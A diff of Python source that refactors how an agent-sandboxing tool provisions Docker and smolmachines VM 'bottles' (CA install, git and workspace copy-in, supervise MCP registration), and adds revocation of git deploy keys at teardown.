|
||||||
|
|
||||||
import os
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
from ....log import die, info
|
|
||||||
from ...util import host_skill_dir
|
|
||||||
from ..bottle_plan import DockerBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
def provision_skills(plan: DockerBottlePlan, target: str) -> None:
|
|
||||||
"""Copy each of the agent's named skills from the host's
|
|
||||||
~/.claude/skills/<name>/ into the container's equivalent path.
|
|
||||||
For each skill: ensure parent dir, wipe any prior copy, then
|
|
||||||
`docker cp <host>/. <container>:<dst>/` so the contents are
|
|
||||||
copied into a freshly-created destination dir. No-op when the
|
|
||||||
agent has no skills."""
|
|
||||||
agent = plan.spec.manifest.agents[plan.spec.agent_name]
|
|
||||||
if not agent.skills:
|
|
||||||
return
|
|
||||||
|
|
||||||
container = target
|
|
||||||
container_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node")
|
|
||||||
skills_dir = os.environ.get(
|
|
||||||
"BOT_BOTTLE_CONTAINER_SKILLS_DIR", f"{container_home}/.claude/skills"
|
|
||||||
)
|
|
||||||
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", container, "mkdir", "-p", skills_dir],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
|
|
||||||
for n in agent.skills:
|
|
||||||
src = host_skill_dir(n)
|
|
||||||
if not os.path.isdir(src):
|
|
||||||
die(f"skill '{n}' disappeared from host between validation and copy at {src}.")
|
|
||||||
dst = f"{skills_dir}/{n}"
|
|
||||||
info(f"copying skill {n} into {container}:{dst}")
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", container, "rm", "-rf", dst],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "exec", container, "mkdir", "-p", dst],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
subprocess.run(
|
|
||||||
["docker", "cp", f"{src}/.", f"{container}:{dst}/"],
|
|
||||||
stdout=subprocess.DEVNULL,
|
|
||||||
check=True,
|
|
||||||
)
|
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
"""Supervise sidecar provisioning inside a running Docker bottle
|
|
||||||
(PRD 0013).
|
|
||||||
|
|
||||||
Registers the per-bottle supervise sidecar as an HTTP MCP server in
|
|
||||||
the agent's claude-code config so the agent discovers the three
|
|
||||||
stuck-recovery MCP tools (cred-proxy-block, pipelock-block,
|
|
||||||
capability-block) at startup.
|
|
||||||
|
|
||||||
Uses `claude mcp add` rather than writing JSON directly. claude-code
|
|
||||||
owns the on-disk config format (`~/.claude.json` `mcpServers` shape,
|
|
||||||
field names, scope semantics) and changes it between versions; the
|
|
||||||
official command handles whatever the installed version expects.
|
|
||||||
|
|
||||||
No-op when bottle.supervise is False — bottles that haven't opted
|
|
||||||
into the supervise sidecar shouldn't get an MCP entry pointing at a
|
|
||||||
sidecar that isn't running.
|
|
||||||
"""
|
|
||||||
|
|
||||||
from __future__ import annotations
|
|
||||||
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
from ....log import info, warn
|
|
||||||
from ....supervise import SUPERVISE_HOSTNAME, SUPERVISE_PORT
|
|
||||||
from ..bottle_plan import DockerBottlePlan
|
|
||||||
|
|
||||||
|
|
||||||
_SUPERVISE_MCP_NAME = "supervise"
|
|
||||||
|
|
||||||
|
|
||||||
def supervise_mcp_url() -> str:
|
|
||||||
return f"http://{SUPERVISE_HOSTNAME}:{SUPERVISE_PORT}/"
|
|
||||||
|
|
||||||
|
|
||||||
def provision_supervise(plan: DockerBottlePlan, target: str) -> None:
|
|
||||||
"""Run `claude mcp add` inside the agent container to register
|
|
||||||
the supervise sidecar in claude-code's user config. No-op when
|
|
||||||
bottle.supervise is False.
|
|
||||||
|
|
||||||
Failure is logged but not fatal: the bottle still works (you
|
|
||||||
just can't call supervise tools from the agent until the entry
|
|
||||||
is added manually). The operator sees the warning at launch."""
|
|
||||||
if plan.supervise_plan is None:
|
|
||||||
return
|
|
||||||
url = supervise_mcp_url()
|
|
||||||
argv = [
|
|
||||||
"docker", "exec", "-u", "node", target,
|
|
||||||
"claude", "mcp", "add",
|
|
||||||
"--scope", "user",
|
|
||||||
"--transport", "http",
|
|
||||||
_SUPERVISE_MCP_NAME,
|
|
||||||
url,
|
|
||||||
]
|
|
||||||
info(f"registering supervise MCP server in agent claude config → {url}")
|
|
||||||
r = subprocess.run(argv, capture_output=True, text=True, check=False)
|
|
||||||
if r.returncode != 0:
|
|
||||||
warn(
|
|
||||||
f"`claude mcp add supervise` failed (exit {r.returncode}): "
|
|
||||||
f"{(r.stderr or r.stdout or '').strip()}. Inside the bottle, "
|
|
||||||
f"register manually with: "
|
|
||||||
f"claude mcp add --scope user --transport http supervise {url}"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
__all__ = ["provision_supervise", "supervise_mcp_url"]
|
|
||||||
@@ -1,5 +1,11 @@
|
|||||||
"""SmolmachinesBottleBackend — the smolmachines implementation of
|
"""SmolmachinesBottleBackend — the smolmachines implementation of
|
||||||
BottleBackend (PRD 0023)."""
|
BottleBackend (PRD 0023).
|
||||||
|
|
||||||
|
Per PRD 0050 the per-provider provisioning steps (prompt, skills,
|
||||||
|
the declarative provision-plan apply, supervise MCP registration)
|
||||||
|
live on the `AgentProvider` plugin under `bot_bottle/contrib/`. The
|
||||||
|
smolmachines backend only owns the steps that are about backend
|
||||||
|
infrastructure: CA install (no-op for now), workspace, git copy-in."""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
@@ -7,7 +13,7 @@ from contextlib import contextmanager
|
|||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Generator, Sequence
|
from typing import Generator, Sequence
|
||||||
|
|
||||||
from .. import ActiveAgent, BottleBackend, BottleSpec
|
from .. import ActiveAgent, Bottle, BottleBackend, BottleSpec
|
||||||
from . import cleanup as _cleanup
|
from . import cleanup as _cleanup
|
||||||
from . import enumerate as _enumerate
|
from . import enumerate as _enumerate
|
||||||
from . import launch as _launch
|
from . import launch as _launch
|
||||||
@@ -18,10 +24,6 @@ from .bottle_cleanup_plan import SmolmachinesBottleCleanupPlan
|
|||||||
from .bottle_plan import SmolmachinesBottlePlan
|
from .bottle_plan import SmolmachinesBottlePlan
|
||||||
from .provision import ca as _ca
|
from .provision import ca as _ca
|
||||||
from .provision import git as _git
|
from .provision import git as _git
|
||||||
from .provision import prompt as _prompt
|
|
||||||
from .provision import provider_auth as _provider_auth
|
|
||||||
from .provision import skills as _skills
|
|
||||||
from .provision import supervise as _supervise
|
|
||||||
from .provision import workspace as _workspace
|
from .provision import workspace as _workspace
|
||||||
|
|
||||||
|
|
||||||
@@ -54,39 +56,26 @@ class SmolmachinesBottleBackend(
|
|||||||
yield bottle
|
yield bottle
|
||||||
|
|
||||||
def provision_ca(
|
def provision_ca(
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
self, plan: SmolmachinesBottlePlan, bottle: Bottle
|
||||||
) -> None:
|
) -> None:
|
||||||
_ca.provision_ca(plan, target)
|
_ca.provision_ca(plan, bottle)
|
||||||
|
|
||||||
def provision_prompt(
|
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
|
||||||
) -> str | None:
|
|
||||||
return _prompt.provision_prompt(plan, target)
|
|
||||||
|
|
||||||
def provision_provider_auth(
|
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
|
||||||
) -> None:
|
|
||||||
_provider_auth.provision_provider_auth(plan, target)
|
|
||||||
|
|
||||||
def provision_skills(
|
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
|
||||||
) -> None:
|
|
||||||
_skills.provision_skills(plan, target)
|
|
||||||
|
|
||||||
def provision_workspace(
|
def provision_workspace(
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
self, plan: SmolmachinesBottlePlan, bottle: Bottle
|
||||||
) -> None:
|
) -> None:
|
||||||
_workspace.provision_workspace(plan, target)
|
_workspace.provision_workspace(plan, bottle)
|
||||||
|
|
||||||
def provision_git(
|
def provision_git(
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
self, plan: SmolmachinesBottlePlan, bottle: Bottle
|
||||||
) -> None:
|
) -> None:
|
||||||
_git.provision_git(plan, target)
|
_git.provision_git(plan, bottle)
|
||||||
|
|
||||||
def provision_supervise(
|
def supervise_mcp_url(self, plan: SmolmachinesBottlePlan) -> str:
|
||||||
self, plan: SmolmachinesBottlePlan, target: str
|
"""The smolmachines guest reaches the supervise sidecar via a
|
||||||
) -> None:
|
host-published random port the launch step pinned earlier
|
||||||
_supervise.provision_supervise(plan, target)
|
(`http://<loopback_ip>:<random_port>/`). `agent_supervise_url`
|
||||||
|
on the plan is "" when the bottle has no sidecar."""
|
||||||
|
return plan.agent_supervise_url
|
||||||
|
|
||||||
def prepare_cleanup(self) -> SmolmachinesBottleCleanupPlan:
|
def prepare_cleanup(self) -> SmolmachinesBottleCleanupPlan:
|
||||||
return _cleanup.prepare_cleanup()
|
return _cleanup.prepare_cleanup()
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
from typing import Mapping
|
from typing import Mapping, cast
|
||||||
|
|
||||||
from ...agent_provider import PromptMode, prompt_args
|
from ...agent_provider import PromptMode, prompt_args
|
||||||
from .. import Bottle, ExecResult
|
from .. import Bottle, ExecResult
|
||||||
@@ -72,7 +72,7 @@ class SmolmachinesBottle(Bottle):
|
|||||||
# In-VM path to the agent's prompt file. None when the
|
# In-VM path to the agent's prompt file. None when the
|
||||||
# agent declared no prompt (file still exists; we just
|
# agent declared no prompt (file still exists; we just
|
||||||
# don't pass --append-system-prompt-file).
|
# don't pass --append-system-prompt-file).
|
||||||
self._prompt_path = prompt_path
|
self.prompt_path = prompt_path
|
||||||
# Env vars the agent process needs (HTTPS_PROXY,
|
# Env vars the agent process needs (HTTPS_PROXY,
|
||||||
# CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
|
# CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
|
||||||
# Forwarded on every `smolvm machine exec` via `-e K=V`
|
# Forwarded on every `smolvm machine exec` via `-e K=V`
|
||||||
@@ -93,9 +93,9 @@ class SmolmachinesBottle(Bottle):
|
|||||||
agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
|
agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
|
||||||
self.agent_command]
|
self.agent_command]
|
||||||
provider_prompt_args = prompt_args(
|
provider_prompt_args = prompt_args(
|
||||||
self._agent_prompt_mode, self._prompt_path, argv=argv,
|
cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
|
||||||
)
|
)
|
||||||
if self._agent_prompt_mode == "read_prompt_file":
|
if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
|
||||||
agent_tail += argv
|
agent_tail += argv
|
||||||
agent_tail += provider_prompt_args
|
agent_tail += provider_prompt_args
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -53,6 +53,9 @@ from ..docker.pipelock import (
|
|||||||
PIPELOCK_PORT as _PIPELOCK_PORT_STR,
|
PIPELOCK_PORT as _PIPELOCK_PORT_STR,
|
||||||
pipelock_tls_init,
|
pipelock_tls_init,
|
||||||
)
|
)
|
||||||
|
from ...git_gate import revoke_git_gate_provisioned_keys
|
||||||
|
from ...log import warn
|
||||||
|
from ..docker.bottle_state import git_gate_state_dir
|
||||||
from . import loopback_alias as _loopback
|
from . import loopback_alias as _loopback
|
||||||
from . import sidecar_bundle as _bundle
|
from . import sidecar_bundle as _bundle
|
||||||
from . import smolvm as _smolvm
|
from . import smolvm as _smolvm
|
||||||
@@ -86,7 +89,7 @@ _SUPERVISE_PORT = SUPERVISE_PORT
|
|||||||
def launch(
|
def launch(
|
||||||
plan: SmolmachinesBottlePlan,
|
plan: SmolmachinesBottlePlan,
|
||||||
*,
|
*,
|
||||||
provision: Callable[[SmolmachinesBottlePlan, str], str | None],
|
provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
|
||||||
) -> Generator[SmolmachinesBottle, None, None]:
|
) -> Generator[SmolmachinesBottle, None, None]:
|
||||||
"""Build + run the bottle and yield a handle; tear everything
|
"""Build + run the bottle and yield a handle; tear everything
|
||||||
down on exit. Errors during bringup unwind any partial state
|
down on exit. Errors during bringup unwind any partial state
|
||||||
@@ -110,17 +113,39 @@ def launch(
|
|||||||
_launch_vm(plan, agent_from_path, loopback_ip, stack)
|
_launch_vm(plan, agent_from_path, loopback_ip, stack)
|
||||||
_init_vm(plan)
|
_init_vm(plan)
|
||||||
|
|
||||||
prompt_path = provision(plan, plan.machine_name)
|
bottle = SmolmachinesBottle(
|
||||||
|
|
||||||
yield SmolmachinesBottle(
|
|
||||||
plan.machine_name,
|
plan.machine_name,
|
||||||
prompt_path=prompt_path,
|
prompt_path=None,
|
||||||
guest_env=plan.guest_env,
|
guest_env=plan.guest_env,
|
||||||
agent_command=plan.agent_command,
|
agent_command=plan.agent_command,
|
||||||
agent_prompt_mode=plan.agent_prompt_mode,
|
agent_prompt_mode=plan.agent_prompt_mode,
|
||||||
)
|
)
|
||||||
|
bottle.prompt_path = provision(plan, bottle)
|
||||||
|
|
||||||
|
yield bottle
|
||||||
finally:
|
finally:
|
||||||
|
_teardown_smolmachines(stack, plan)
|
||||||
|
|
||||||
|
|
||||||
|
def _teardown_smolmachines(
|
||||||
|
stack: ExitStack,
|
||||||
|
plan: SmolmachinesBottlePlan,
|
||||||
|
) -> None:
|
||||||
|
"""Unwind the ExitStack, then revoke any provisioned deploy keys.
|
||||||
|
|
||||||
|
ExitStack errors are caught and logged (non-fatal) so that key
|
||||||
|
revocation always runs. Revocation errors propagate — a stranded
|
||||||
|
deploy key is a security concern the operator must address."""
|
||||||
|
teardown_exc: BaseException | None = None
|
||||||
|
try:
|
||||||
stack.close()
|
stack.close()
|
||||||
|
except BaseException as exc: # noqa: W0718 — teardown must not fail
|
||||||
|
teardown_exc = exc
|
||||||
|
warn(f"smolmachines teardown failed: {exc!r}")
|
||||||
|
bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
|
||||||
|
revoke_git_gate_provisioned_keys(bottle, git_gate_state_dir(plan.slug))
|
||||||
|
if teardown_exc is not None:
|
||||||
|
raise teardown_exc
|
||||||
|
|
||||||
|
|
||||||
def _allocate_resources(
|
def _allocate_resources(
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ import time
|
|||||||
import uuid
|
import uuid
|
||||||
from contextlib import contextmanager
|
from contextlib import contextmanager
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from typing import Iterator
|
from typing import Generator
|
||||||
|
|
||||||
from ...log import die
|
from ...log import die
|
||||||
|
|
||||||
@@ -61,7 +61,10 @@ REGISTRY_IMAGE = os.environ.get(
|
|||||||
# narrow.
|
# narrow.
|
||||||
CRANE_IMAGE = os.environ.get(
|
CRANE_IMAGE = os.environ.get(
|
||||||
"BOT_BOTTLE_CRANE_IMAGE",
|
"BOT_BOTTLE_CRANE_IMAGE",
|
||||||
"gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084",
|
(
|
||||||
|
"gcr.io/go-containerregistry/crane@sha256:"
|
||||||
|
"0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
|
||||||
|
),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@@ -95,7 +98,7 @@ class RegistryHandle:
|
|||||||
|
|
||||||
|
|
||||||
@contextmanager
|
@contextmanager
|
||||||
def ephemeral_registry() -> Iterator[RegistryHandle]:
|
def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
|
||||||
"""Bring up a per-session docker network + a `registry:2.8.3`
|
"""Bring up a per-session docker network + a `registry:2.8.3`
|
||||||
container on it (published on a random host port), yield a
|
container on it (published on a random host port), yield a
|
||||||
`RegistryHandle`, force-remove both on exit.
|
`RegistryHandle`, force-remove both on exit.
|
||||||
@@ -205,7 +208,6 @@ def _host_port(name: str) -> int:
|
|||||||
return int(port_str)
|
return int(port_str)
|
||||||
except ValueError:
|
except ValueError:
|
||||||
die(f"unexpected `docker port` output: {line!r}")
|
die(f"unexpected `docker port` output: {line!r}")
|
||||||
return -1 # unreachable; die() never returns
|
|
||||||
|
|
||||||
|
|
||||||
def _wait_ready(port: int) -> None:
|
def _wait_ready(port: int) -> None:
|
||||||
|
|||||||
@@ -47,7 +47,6 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import fcntl
|
import fcntl
|
||||||
import json
|
import json
|
||||||
import os
|
|
||||||
import platform
|
import platform
|
||||||
import re
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
@@ -177,11 +176,11 @@ def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
|
|||||||
con.close()
|
con.close()
|
||||||
|
|
||||||
|
|
||||||
def allocate(slug: str) -> str:
|
def allocate(_slug: str) -> str:
|
||||||
"""Pick the lowest-numbered alias from the pool not already
|
"""Pick the lowest-numbered alias from the pool not already
|
||||||
in use by a running smolmachines bundle. Bails when the pool
|
in use by a running smolmachines bundle. Bails when the pool
|
||||||
is exhausted — the caller should report the limit to the
|
is exhausted — the caller should report the limit to the
|
||||||
operator. `slug` is logged for traceability; not otherwise
|
operator. `_slug` is logged for traceability; not otherwise
|
||||||
used (no on-disk reservation, allocation is purely
|
used (no on-disk reservation, allocation is purely
|
||||||
docker-state-driven).
|
docker-state-driven).
|
||||||
|
|
||||||
@@ -196,7 +195,7 @@ def allocate(slug: str) -> str:
|
|||||||
if not _is_macos():
|
if not _is_macos():
|
||||||
return "127.0.0.1"
|
return "127.0.0.1"
|
||||||
_ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
|
_ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||||
with open(_ALLOC_LOCK_PATH, "w") as lf:
|
with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
|
||||||
fcntl.flock(lf, fcntl.LOCK_EX)
|
fcntl.flock(lf, fcntl.LOCK_EX)
|
||||||
return _allocate_locked()
|
return _allocate_locked()
|
||||||
|
|
||||||
@@ -212,7 +211,6 @@ def _allocate_locked() -> str:
|
|||||||
f"Stop a running bottle (`smolvm machine ls --json`) or "
|
f"Stop a running bottle (`smolvm machine ls --json`) or "
|
||||||
f"raise _POOL_END in loopback_alias.py."
|
f"raise _POOL_END in loopback_alias.py."
|
||||||
)
|
)
|
||||||
return "" # unreachable; die() never returns
|
|
||||||
|
|
||||||
|
|
||||||
def _alias_present(ip: str) -> bool:
|
def _alias_present(ip: str) -> bool:
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ def resolve_plan(
|
|||||||
bottle = manifest.bottle_for(spec.agent_name)
|
bottle = manifest.bottle_for(spec.agent_name)
|
||||||
provider = bottle.agent_provider
|
provider = bottle.agent_provider
|
||||||
provider_runtime = runtime_for(provider.template)
|
provider_runtime = runtime_for(provider.template)
|
||||||
guest_home = os.environ.get("BOT_BOTTLE_GUEST_HOME", "/home/node")
|
guest_home = "/home/node"
|
||||||
workspace_plan = resolve_workspace_plan(spec, guest_home=guest_home)
|
workspace_plan = resolve_workspace_plan(spec, guest_home=guest_home)
|
||||||
|
|
||||||
slug = spec.identity or bottle_identity(spec.agent_name)
|
slug = spec.identity or bottle_identity(spec.agent_name)
|
||||||
@@ -172,6 +172,7 @@ def resolve_plan(
|
|||||||
return SmolmachinesBottlePlan(
|
return SmolmachinesBottlePlan(
|
||||||
spec=spec,
|
spec=spec,
|
||||||
stage_dir=stage_dir,
|
stage_dir=stage_dir,
|
||||||
|
guest_home=guest_home,
|
||||||
slug=slug,
|
slug=slug,
|
||||||
bundle_subnet=subnet,
|
bundle_subnet=subnet,
|
||||||
bundle_gateway=gateway,
|
bundle_gateway=gateway,
|
||||||
|
|||||||
@@ -1,14 +1,12 @@
|
|||||||
"""Provisioning helpers for the smolmachines backend (PRD 0023
|
"""Backend-infrastructure provisioners for the smolmachines backend.
|
||||||
chunk 4).
|
|
||||||
|
|
||||||
Each method maps onto one of `BottleBackend`'s `provision_*`
|
Per PRD 0050 the per-provider provisioning steps (prompt, skills,
|
||||||
overrides. They run after the VM is up + the bundle is reachable
|
declarative provision-plan apply, supervise MCP registration) live on
|
||||||
and copy host-side state (prompt, skills, .git, CA cert,
|
the `AgentProvider` plugin under `bot_bottle/contrib/`. The modules
|
||||||
supervise MCP config) into the guest via `smolvm machine cp` /
|
left in this subpackage handle only the steps that are
|
||||||
`smolvm machine exec`.
|
backend-specific:
|
||||||
|
|
||||||
Chunk 4a ships `provision_prompt` and `provision_skills` — the
|
- ca.py — install per-bottle CA bundle into the guest trust store
|
||||||
two that don't depend on agent-image tooling (claude-code,
|
- git.py — copy host cwd `.git` into the guest when --cwd is used
|
||||||
update-ca-certificates) beyond `cp` and `mkdir`. provision_ca /
|
- workspace.py — copy the operator workspace into the guest
|
||||||
provision_git / provision_supervise land once the agent-image
|
"""
|
||||||
gap is solved."""
|
|
||||||
|
|||||||
@@ -2,8 +2,8 @@
|
|||||||
trust store (PRD 0023 chunk 4d).
|
trust store (PRD 0023 chunk 4d).
|
||||||
|
|
||||||
Mirrors `backend.docker.provision.ca`: select the right CA (egress
|
Mirrors `backend.docker.provision.ca`: select the right CA (egress
|
||||||
when the bottle has routes, else pipelock), `smolvm machine cp` it
|
when the bottle has routes, else pipelock), copy it to Debian's
|
||||||
to Debian's `/usr/local/share/ca-certificates/` path,
|
`/usr/local/share/ca-certificates/` path,
|
||||||
`update-ca-certificates` to rebuild the trust bundle, and log the
|
`update-ca-certificates` to rebuild the trust bundle, and log the
|
||||||
fingerprint once. The selected cert depends on the agent's
|
fingerprint once. The selected cert depends on the agent's
|
||||||
HTTP_PROXY target — same logic as the docker backend, since the
|
HTTP_PROXY target — same logic as the docker backend, since the
|
||||||
@@ -24,20 +24,20 @@ from ...util import (
|
|||||||
log_ca_fingerprint,
|
log_ca_fingerprint,
|
||||||
select_ca_cert,
|
select_ca_cert,
|
||||||
)
|
)
|
||||||
from .. import smolvm as _smolvm
|
from ... import Bottle, ExecResult
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
from ..bottle_plan import SmolmachinesBottlePlan
|
||||||
|
|
||||||
|
|
||||||
_SIGKILL_EXIT = 128 + 9
|
_SIGKILL_EXIT = 128 + 9
|
||||||
|
|
||||||
|
|
||||||
def provision_ca(plan: SmolmachinesBottlePlan, target: str) -> None:
|
def provision_ca(plan: SmolmachinesBottlePlan, bottle: Bottle) -> None:
|
||||||
"""Copy the agent-facing CA cert into the guest, rebuild the
|
"""Copy the agent-facing CA cert into the guest, rebuild the
|
||||||
trust bundle, emit a one-line fingerprint log. Called from
|
trust bundle, emit a one-line fingerprint log. Called from
|
||||||
`BottleBackend.provision` after the smolvm guest is up."""
|
`BottleBackend.provision` after the smolvm guest is up."""
|
||||||
cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
|
cert_host_path, label = select_ca_cert(plan.egress_plan, plan.proxy_plan)
|
||||||
|
|
||||||
_smolvm.machine_cp(str(cert_host_path), f"{target}:{AGENT_CA_PATH}")
|
bottle.cp_in(str(cert_host_path), AGENT_CA_PATH)
|
||||||
# Mode 0644 — readable to non-root tools in the guest.
|
# Mode 0644 — readable to non-root tools in the guest.
|
||||||
# update-ca-certificates rebuilds the bundle at AGENT_CA_BUNDLE,
|
# update-ca-certificates rebuilds the bundle at AGENT_CA_BUNDLE,
|
||||||
# which is what curl / Python ssl / OpenSSL-based tools read by
|
# which is what curl / Python ssl / OpenSSL-based tools read by
|
||||||
@@ -45,21 +45,21 @@ def provision_ca(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|||||||
# REQUESTS_CA_BUNDLE) on the guest_env covers Node + Python
|
# REQUESTS_CA_BUNDLE) on the guest_env covers Node + Python
|
||||||
# `requests` / libraries that don't load the system bundle.
|
# `requests` / libraries that don't load the system bundle.
|
||||||
#
|
#
|
||||||
r = _install_ca(target)
|
r = _install_ca(bottle)
|
||||||
if r.returncode == _SIGKILL_EXIT:
|
if r.returncode == _SIGKILL_EXIT:
|
||||||
# smolvm/libkrun can SIGKILL an otherwise-normal exec
|
# smolvm/libkrun can SIGKILL an otherwise-normal exec
|
||||||
# during early-VM provisioning. `update-ca-certificates`
|
# during early-VM provisioning. `update-ca-certificates`
|
||||||
# is idempotent, so retry the same install once after a
|
# is idempotent, so retry the same install once after a
|
||||||
# short settle delay before treating it as fatal.
|
# short settle delay before treating it as fatal.
|
||||||
time.sleep(1.0)
|
time.sleep(1.0)
|
||||||
r = _install_ca(target)
|
r = _install_ca(bottle)
|
||||||
|
|
||||||
if r.returncode != 0:
|
if r.returncode != 0:
|
||||||
# update-ca-certificates not adding our cert is fatal —
|
# update-ca-certificates not adding our cert is fatal —
|
||||||
# claude-code's TLS handshake against the egress-MITM'd
|
# claude-code's TLS handshake against the egress-MITM'd
|
||||||
# api.anthropic.com would fail downstream. Bail early
|
# api.anthropic.com would fail downstream. Bail early
|
||||||
# with what we can see (output is captured by smolvm so
|
# with what we can see (output is captured so we can
|
||||||
# we can surface it).
|
# surface it).
|
||||||
die(
|
die(
|
||||||
f"update-ca-certificates didn't add the agent CA "
|
f"update-ca-certificates didn't add the agent CA "
|
||||||
f"(exit {r.returncode}): "
|
f"(exit {r.returncode}): "
|
||||||
@@ -70,21 +70,21 @@ def provision_ca(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|||||||
log_ca_fingerprint(cert_host_path, label)
|
log_ca_fingerprint(cert_host_path, label)
|
||||||
|
|
||||||
|
|
||||||
def _install_ca(target: str) -> _smolvm.SmolvmRunResult:
|
def _install_ca(bottle: Bottle) -> ExecResult:
|
||||||
# chown + chmod + update-ca-certificates + bundle
|
# chown + chmod + update-ca-certificates + bundle
|
||||||
# verification run in one `sh -c` so we only pay one
|
# verification run in one exec so we only pay one
|
||||||
# machine_exec round trip; the `&&` chaining surfaces the
|
# round trip; the `&&` chaining surfaces the first failure
|
||||||
# first failure as the return code. The verify check is more
|
# as the return code. The verify check is more stable than
|
||||||
# stable than requiring "1 added" in stdout: a retry after a
|
# requiring "1 added" in stdout: a retry after a
|
||||||
# partially-completed first run may legitimately report "0
|
# partially-completed first run may legitimately report "0
|
||||||
# added" while the cert is already installed.
|
# added" while the cert is already installed.
|
||||||
return _smolvm.machine_exec(target, [
|
return bottle.exec(
|
||||||
"sh", "-c",
|
|
||||||
f"chown root:root {AGENT_CA_PATH} && "
|
f"chown root:root {AGENT_CA_PATH} && "
|
||||||
f"chmod 644 {AGENT_CA_PATH} && "
|
f"chmod 644 {AGENT_CA_PATH} && "
|
||||||
f"update-ca-certificates && "
|
f"update-ca-certificates && "
|
||||||
f"openssl verify -CAfile {AGENT_CA_BUNDLE} {AGENT_CA_PATH}",
|
f"openssl verify -CAfile {AGENT_CA_BUNDLE} {AGENT_CA_PATH}",
|
||||||
])
|
user="root",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
# Re-exported for the launch/provision_ca caller + tests. The path
|
# Re-exported for the launch/provision_ca caller + tests. The path
|
||||||
|
|||||||
@@ -26,35 +26,25 @@ git_gate module."""
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
import shlex
|
||||||
import tempfile
|
import tempfile
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
from ....git_gate import git_gate_render_gitconfig
|
from ....git_gate import git_gate_render_gitconfig
|
||||||
from ....log import info
|
from ....log import info
|
||||||
from .. import smolvm as _smolvm
|
from ... import Bottle
|
||||||
from ..bottle_plan import SmolmachinesBottlePlan
|
from ..bottle_plan import SmolmachinesBottlePlan
|
||||||
|
|
||||||
|
|
||||||
# `node` is the agent user from the repo Dockerfile. Override via
|
def provision_git(plan: SmolmachinesBottlePlan, bottle: Bottle) -> None:
|
||||||
# BOT_BOTTLE_GUEST_HOME mirrors the docker backend's
|
|
||||||
# BOT_BOTTLE_CONTAINER_HOME knob — same purpose, different
|
|
||||||
# transport.
|
|
||||||
_DEFAULT_GUEST_HOME = "/home/node"
|
|
||||||
|
|
||||||
|
|
||||||
def _guest_home() -> str:
|
|
||||||
return os.environ.get("BOT_BOTTLE_GUEST_HOME", _DEFAULT_GUEST_HOME)
|
|
||||||
|
|
||||||
|
|
||||||
def provision_git(plan: SmolmachinesBottlePlan, target: str) -> None:
|
|
||||||
"""Set up git inside the guest. Runs all three subcases; each
|
"""Set up git inside the guest. Runs all three subcases; each
|
||||||
no-ops when its condition isn't met."""
|
no-ops when its condition isn't met."""
|
||||||
_provision_cwd_git(plan, target)
|
_provision_cwd_git(plan, bottle)
|
||||||
_provision_git_gate_config(plan, target)
|
_provision_git_gate_config(plan, bottle)
|
||||||
_provision_git_user(plan, target)
|
_provision_git_user(plan, bottle)
|
||||||
|
|
||||||
|
|
||||||
def _provision_cwd_git(plan: SmolmachinesBottlePlan, target: str) -> None:
|
def _provision_cwd_git(plan: SmolmachinesBottlePlan, bottle: Bottle) -> None:
|
||||||
"""If --cwd was set and the host cwd has a .git directory, copy
|
"""If --cwd was set and the host cwd has a .git directory, copy
|
||||||
it into <guest_home>/workspace/.git and fix ownership. No-op
|
it into <guest_home>/workspace/.git and fix ownership. No-op
|
||||||
otherwise."""
|
otherwise."""
|
||||||
